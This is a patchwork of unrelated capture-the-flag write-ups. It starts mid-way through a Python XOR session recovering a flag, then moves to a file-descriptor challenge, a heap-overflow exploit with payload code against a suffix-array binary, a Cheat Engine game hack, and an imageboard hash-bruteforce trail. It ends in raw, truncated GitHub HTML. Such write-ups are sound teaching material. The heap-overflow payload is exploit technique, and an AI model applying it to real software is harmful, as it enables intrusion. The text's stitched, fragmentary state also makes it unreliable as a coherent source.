b"vernam::\xf2R\x823]~\xed\x9e,\xacmr\xad]\xaa\xe8qO\xcf\x17\x95\x1527[\x18\x8c\xcdN\x18\x1b\x90\xfd\x00.c\xe0\x83\x10\xfeK[wy\n\xd4\x17\x97$lx\t\x9aJ\xef6\xb6`*\xf8%A\x92\xed\xc7+ikX\xbbfy!i\xdf->\x9a\xa5\xc7\xef\xdc\xf6\xbf\xf6b\xcfb\xbc\xfe\xd37\xca>\x1b/'\xce\xc2QG\x17|\xb5T\xfcYg\xb6\xd7P)\xda-\x17\x17\xb1gJ#\xf6\xc0\x183, \x18\xb9`\x8b`/\x11\x8f\x0e3&\xd4W\xd5.\x81R6\x91\x06\x83r\xa8V\xe1\x91H\xa0\xcd\x159)An\xc6\x98\xd7\x05\x8e\xeec\x14hn\xc4h\xc7p\xc89-i\x0f\x93B\xc9\xb9\xd5T\xbc>?\xce\xa5\x18.\xfb\xdd\xe6\x91\xd1E\xbe\xda\x9f\xa0\xb0X\xcf9\xb1\xe9\xe0f)'!\x96W\x87\xb8\xd6\x10\x0f\x93\x81\xaf\xde\x90\x86{\xa9\xb5\x94\xee@Y\x86|\xb9F\xb8\xbb\xd3F\x9f\xe5\x9d\xfc9G" >>> second = bytes[int("0x84E1", 0):int("0x84E1", 0)+int("0xFF", 0)] >>> second b"vernam::\xab\x13\xd7i\x1c=\xb9\xd8W\x9d\x03-\x98-\x99\x8b.8\xfcH\xa2gG\x02le\x86\xcdN\x18\x1b\x90\xfd\x00.c\xe0\x83\x10\xfeK[wy\n\xd4\x17\x97$lx\t\x9aJ\xef6\xb6`*\xf8%A\x92\xed\xc7+ikX\xbbfy!i\xdf->\x9a\xa5\xc7\xef\xdc\xf6\xbf\xf6b\xcfb\xbc\xfe\xd37\xca>\x1b/'\xce\xc2QG\x17|\xb5T\xfcYg\xb6\xd7P)\xda-\x17\x17\xb1gJ#\xf6\xc0\x183, \x18\xb9`\x8b`/\x11\x8f\x0e3&\xd4W\xd5.\x81R6\x91\x06\x83r\xa8V\xe1\x91H\xa0\xcd\x159)An\xc6\x98\xd7\x05\x8e\xeec\x14hn\xc4h\xc7p\xc89-i\x0f\x93B\xc9\xb9\xd5T\xbc>?\xce\xa5\x18.\xfb\xdd\xe6\x91\xd1E\xbe\xda\x9f\xa0\xb0X\xcf9\xb1\xe9\xe0f)'!\x96W\x87\xb8\xd6\x10\x0f\x93\x81\xaf\xde\x90\x86{\xa9\xb5\x94\xee@Y\x86|\xb9F\xb8\xbb\xd3F\x9f\xe5\x9d\xfc9G" >>> first = first.replace(b"vernam::", b'') >>> second = second.replace(b"vernam::", b'') >>> first = int.from_bytes(first, "big") >>> second = int.from_bytes(second, "big") >>> flag = first ^ second >>> flag = flag.to_bytes(flag.bit_length(), "big").strip(b"\x00") >>> flag b'YAUZACTF{1n_5p3c_w3_7ru57}\n' **Флаг:** `YAUZACTF{1n_5p3c_w3_7ru57}` # She За этим райтапом можно обратиться по этой [ссылке](https://github.com/loqpa/CTF/tree/master/Yauza19/She).
This chall is about File Descripter(A.K.A fd)Using IDA, you can see below code.```int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-40h] int v5; // [rsp+38h] [rbp-8h] int v6; // [rsp+3Ch] [rbp-4h] puts("enter a number"); fflush(_bss_start); __isoc99_scanf("%d", &v5;; v6 = open("flag", 0) + 1001; read(v5 - 1085645, &buf, 0x17uLL); puts(&buf;; return 0;}```If the read function works correctly, we can get flag file.So, What we have to do is just calculate the v5 variable.
# Overview The binary is an implementation of a suffix array to efficiently search for needles in large haystack strings. I expected a logical bug in the algorithmic part, but my teammate informed me about a very easy yet powerful bug so I just used it instead. I think it's probably unintentional... # The bug The bug is triggered when the needle is longer than the haystack in the `recant needle` feature. By using the proof of concept below we can easily get a heap overflow. ```payload = p64(0)*2 #our datapayload += p64(0)+p64(0x31) #next heap headerpayload += p64(0x100)+chr(0) add ("A"*0x10)add ('')add (payload)delete(1) recant (2, payload+"\x00")``` We can overwrite the haystack structure of index 2, so I changed the length to a long value and its `buf` pointer's least significant byte so that it leaks a heap pointer. Afterwards getting a LIBC leak and getting arbitrary write is super easy in tcache malloc so i'll just skip that part. # Unintentional Solution? I looked at other teams' writeups and found out they used a much complex exploit primitive and used a ptmalloc exploit technique to get arbitrary write. Based on the scoring (500 point for a heap overflow challenge?) and other people's opinions I concluded that this bug is most likely unintentional.
Shoutout to whoever made this challenge for making an awesome game. When it comes to cheating in games, the first thing that comes to mind is cheat engine of course. Launching the game and playing through it for a while, it becomes obvious it is not so easily to find the values corresponding to the Health and Deaths gauge. Continuing through the game, reaching the final level, it becomes clear the boss is undefeatable. Within cheat engine, if we assume the damage down by our handy marker pens is one each time, we can scan for an unknown initlal value and then scan for a decreased value by one each time. From this, we find the value storing the bosses health, which we can just set to zero. With the boss dead we win. A win screen rolls with the flag.
To begin, it is immediately obvious that these are post numbers. 'install gentoo' backs this up. Post numbers that high are likely to be found on 4chan. I assumed that it would be upon the technology board which it was. https://rbt.asia/g/thread/70474358/#70492779 This lead to another group of of post numbers and a sha1sum hash. From the hints it should be obvious that all hashes from now on that come first will be the sha1sum of most likely a chan (fqdn = fully qualified domain name)I guessed the most obvious choice would be to post on 8ch.net/tech/ next. I checked this by checking the sha1sum of '8ch.net'. This leads to a post of vim chan. This time there are two hashes. At this point it becomes needed to write a program in order to try to bruteforce these hashes. This can be optimized with the hints in order to concentrate on the prefix of the tld.Although, through combining the powers of shitposting, there are two hashes here. The first one for the website, the second one for a post. The only related website where posts look like that would be notabug.io. Therefore, the next post is found within the comment section of notabug.io. From here, I started to frantically note down all the chans I had knowledge of, as well as google dorking for the said tlds with keywords such as technology and imageboard. This was done injunction with a script designed to bruteforce the hash although as my computing power is somewhat limited, bruteforcing longer domain names would be somewhat of a challenge. My two methods consisted of pure bruteforce and a wordlist of all chans I knew of + google. Eventually, I now ended up on dangeru.us/tech/, which is where the next post lies. While I could bruteforce this hash, I immediately recognize it as the hash of 4chan.org as I have seen it through the course of this challenge. However, as the board was not specified it is a case of guessing which board the post numbers were relevant to.This leads to yet another post on /x/. It is at this point the challenge was cut short for taking too long. The original post would lead to lainchan.org/tech/, then to yet another hash that I did not work out since a shortcut was present.In the reply to the post in question, there were relatively low post numbers and another hash. I sat back and bruteforced it while trying to think of a place where post numbers would be that low. Luckily, this one was relatively short, allowing me to get it quickly as kek.fun. This was the final step, with the flag lying on the /wpi/ board. [P.S its not reddit spacing its just for visual clarity]
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-writeups/2019/pctf-2019/cpp at master · pr0cf5/CTF-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D0A2:F4A8:56DCCF6:5941251:641224BE" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ca2aa7b455616f586e715cd214ca279d4e70aa4dd0e135ed2a842b7c6d5f4f71" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEMEEyOkY0QTg6NTZEQ0NGNjo1OTQxMjUxOjY0MTIyNEJFIiwidmlzaXRvcl9pZCI6IjU5ODExMTg5MTM0NTg2MTEzOTAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="16d9e065d9c67c95f02b210891f6a2791f5dd08ca06fd5d8a103ea3fecb171e6" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:163533425" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to pr0cf5/CTF-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cc9bd15e4264c03b47075682b2a8456819d6f06f0a2f69f4c7ee07481f5f96d8/pr0cf5/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/2019/pctf-2019/cpp at master · pr0cf5/CTF-writeups" /><meta name="twitter:description" content="Contribute to pr0cf5/CTF-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/cc9bd15e4264c03b47075682b2a8456819d6f06f0a2f69f4c7ee07481f5f96d8/pr0cf5/CTF-writeups" /><meta property="og:image:alt" content="Contribute to pr0cf5/CTF-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/2019/pctf-2019/cpp at master · pr0cf5/CTF-writeups" /><meta property="og:url" content="https://github.com/pr0cf5/CTF-writeups" /><meta property="og:description" content="Contribute to pr0cf5/CTF-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/pr0cf5/CTF-writeups git https://github.com/pr0cf5/CTF-writeups.git"> <meta name="octolytics-dimension-user_id" content="38807869" /><meta name="octolytics-dimension-user_login" content="pr0cf5" /><meta name="octolytics-dimension-repository_id" content="163533425" /><meta name="octolytics-dimension-repository_nwo" content="pr0cf5/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="163533425" /><meta name="octolytics-dimension-repository_network_root_nwo" content="pr0cf5/CTF-writeups" /> <link rel="canonical" href="https://github.com/pr0cf5/CTF-writeups/tree/master/2019/pctf-2019/cpp" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 